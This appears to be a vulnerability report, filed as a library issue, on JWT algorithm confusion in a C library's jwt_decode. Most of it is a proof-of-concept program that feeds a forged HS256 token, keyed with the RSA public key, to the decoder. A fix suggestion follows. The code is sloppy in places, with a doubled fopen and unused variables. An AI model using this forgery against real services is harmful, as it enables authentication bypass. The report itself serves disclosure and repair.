[Vuln] Algorithm Confusion in jwt_decode

[P3ngu1nW]

Hello! This library has security issues with algorithm confusion. The attacker can use the RSA public key and encrypt the JWT using the HMAC algorithm to bypass the verification. poc:

#include <stdio.h>
#include <stdlib.h>
#include "jwt.h"
#include <string.h>
#include <time.h>

static const char jwt_rs256_2048[] = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.ey"
	"JpYXQiOjE0NzU5ODA1NDUsImlzcyI6ImZpbGVzLm1hY2xhcmEtbGxjLmNvbSIsInJlZi"
	"I6IlhYWFgtWVlZWS1aWlpaLUFBQUEtQ0NDQyIsInN1YiI6InVzZXIwIn0.RlJPQst_lp"
	"MJUsbnzlT2Mf3xzlHyUlVaQM_PJ1_vpBf1gHkhv-0hm3pa1_HRvpqg5UdDF3iOMLT0GU"
	"j3W8JveaSvXKFeZdRpQGqmC7MZ7NzaYtyaDT7asniIVDf0JomD8Cfq8IdOn2ZREpbuJ6"
	"moPwwvJ2zwL3vY-7w5A7ZQ3fxUedPuzn9n6tbEnuXcbDMyWQjen5poYmmvoIrDbzK0Zb"
	"KbAJ5VrJwME_fZnPHS4c3b8rZGdBJCPI8oT2On6a9LrVqY3riqqHeiSqewfjDsox4tL2"
	"G5KUpqK0oJmnZPGTnNY774PGabpcPBNbfMJqi8o8r0a7pa7sy6B59P7slUdw";

static const char jwt_hs256[] = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIifQ.EYXTg9j6bocqrdsK4610NSPwhJLKVYmKCIytjCiIuLo";

static unsigned char key[16384];
static size_t key_len;

static void read_key(const char *key_file)
{
	FILE *fp = fopen(key_file, "r");
	int ret = 0;

	fp = fopen(key_file, "r");

	key_len = fread(key, 1, sizeof(key), fp);

	fclose(fp);

	key[key_len] = '\0';
}

int main() {
    jwt_t *jwt = NULL;
    
	int ret = 0;

	read_key("rsa_key_2048-pub.pem");

	ret = jwt_decode(&jwt, jwt_rs256_2048, key, key_len);
	printf("%d\n", ret);

    ret = jwt_decode(&jwt, jwt_hs256, key, key_len);
	printf("%d\n", ret);

    return 0;
}

For details, please refer to the following article: https://portswigger.net/web-security/jwt/algorithm-confusion How to fix: Refer to https://github.com/Thalhammer/jwt-cpp and limit each key to one algorithm. Thank you!